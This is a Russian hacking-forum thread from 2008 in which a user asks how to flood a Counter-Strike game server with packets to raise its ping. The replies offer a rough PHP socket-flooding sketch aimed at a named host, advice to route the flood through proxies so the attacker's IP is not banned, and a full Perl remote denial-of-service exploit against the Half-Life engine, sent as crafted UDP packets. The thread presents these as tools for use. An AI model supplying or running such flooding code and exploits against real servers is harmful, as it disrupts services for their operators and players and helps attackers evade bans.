Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

08.12.2008, 15:28
|
|
Новичок
Регистрация: 25.06.2008
Сообщений: 12
Провел на форуме: 70443
Репутация:
5
|
|
CounterStrike
Хай народ, не скажете как через php забросать пакетами\запросами игровой сервер так чтобы на нём значительно поднялся пинг?
|
|
|

08.12.2008, 16:05
|
|
Новичок
Регистрация: 22.11.2008
Сообщений: 21
Провел на форуме: 63209
Репутация:
10
|
|
Если знать точно какие запросы будет принимать сервер и обрабатывать, то как-то так:
PHP код:
function send_pocket()
{
error_reporting(E_ALL);
$address = gethostbyname('target.ru');
$port = "27015"
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); //Кстати, игровой траффик обычно по UDP, но не суть важно в наброске
$res = socket_connect($socket, $address, $port);
socket_write($socket, 'HERE_REQUEST', strlen('HERE_REQUEST'));
send_pocket()
}
//Вместе с поднятием пинга, такая рекурсия создаст из самого себя не более чем вантуз. Но это тольно набросок идеи!
|
|
|

09.12.2008, 19:40
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 105
Провел на форуме: 1244071
Репутация:
176
|
|
спасибо с меня +
|
|
|

09.12.2008, 20:00
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
Если админ не дурак, то твой ip сразу забанят. Надо ещё прокси туда добавить, вот тогда весело будет 
|
|
|

09.12.2008, 20:10
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
На php? вы изврашенцы?
|
|
|

09.12.2008, 20:25
|
|
Новичок
Регистрация: 24.08.2007
Сообщений: 24
Провел на форуме: 1514650
Репутация:
34
|
|
Старенький но кое где работает еще.
Код:
#!/usr/bin/perl
# Server must not be running steam. /str0ke
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
$c2=$c[1];
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a362 58af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}
|
|
|

09.12.2008, 20:56
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
# bug found by Firestorm
Это или то что я думаю или не думаю
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|